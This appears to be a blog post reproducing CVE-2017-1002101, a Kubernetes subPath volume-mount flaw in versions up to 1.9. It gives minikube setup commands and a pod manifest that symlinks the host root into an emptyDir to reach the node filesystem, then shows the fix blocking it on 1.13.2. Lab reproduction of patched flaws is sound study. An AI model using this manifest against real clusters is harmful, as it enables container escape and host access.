A volume mount CVE was discovered in Kubernetes 1.9 and older which allowed access to node file system using emptyDir
volume mount using subpath. The official description goes as follows:
In Kubernetes versions
1.3.x
,1.4.x
,1.5.x
,1.6.x
and prior to versions1.7.14
,1.8.9
and1.9.4
containers using subpath volume mounts with any volume type (including non-privileged pods, subject to file permissions) can access files/directories outside of the volume, including the host’s filesystem.
Source: https://nvd.nist.gov/vuln/detail/CVE-2017-1002101
To understand the problem and re-create the CVE follow the steps in following video:
To create an older Kubernetes setup run following. You need to start older cluster on minikube(version of minikube does not matter) and need older kubectl for compatiblility reasons.
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.9.0/bin/linux/amd64/kubectl
chmod +x ./kubectl
minikube start \
--vm-driver kvm2 \
--kubernetes-version v1.9.0 \
--cpus 3 --memory 3000 \
--extra-config=apiserver.authorization-mode=RBAC
Verify the cluster version:
$ ./kubectl get nodes
NAME STATUS ROLES AGE VERSION
minikube Ready master 9m v1.9.0
This is the pod manifest used in the video:
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: null
labels:
run: testpod
name: testpod
spec:
initContainers:
- name: init
image: busybox
command: ["ln", "-s", "/", "/mnt/my-volume/data1"]
volumeMounts:
- name: my-volume
mountPath: /mnt/my-volume
containers:
- image: busybox
imagePullPolicy: IfNotPresent
name: testpod
command: ["sleep", "999999"]
volumeMounts:
- name: my-volume
mountPath: /mnt/my-volume
- name: my-volume
mountPath: /mnt/data
subPath: data1
volumes:
- name: my-volume
emptyDir:
medium: Memory
dnsPolicy: ClusterFirst
With above setup I could re-create the CVE successfully.
When tried on the v1.13.2
cluster the pod goes into Pending
phase with status being CreateContainerConfigError
and also lists the message as failed to prepare subPath for volumeMount "my-volume" of container "testpod"
.
$ kubectl get pods -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
testpod 0/1 CreateContainerConfigError 0 24m 10.38.0.2 w1 <none> <none>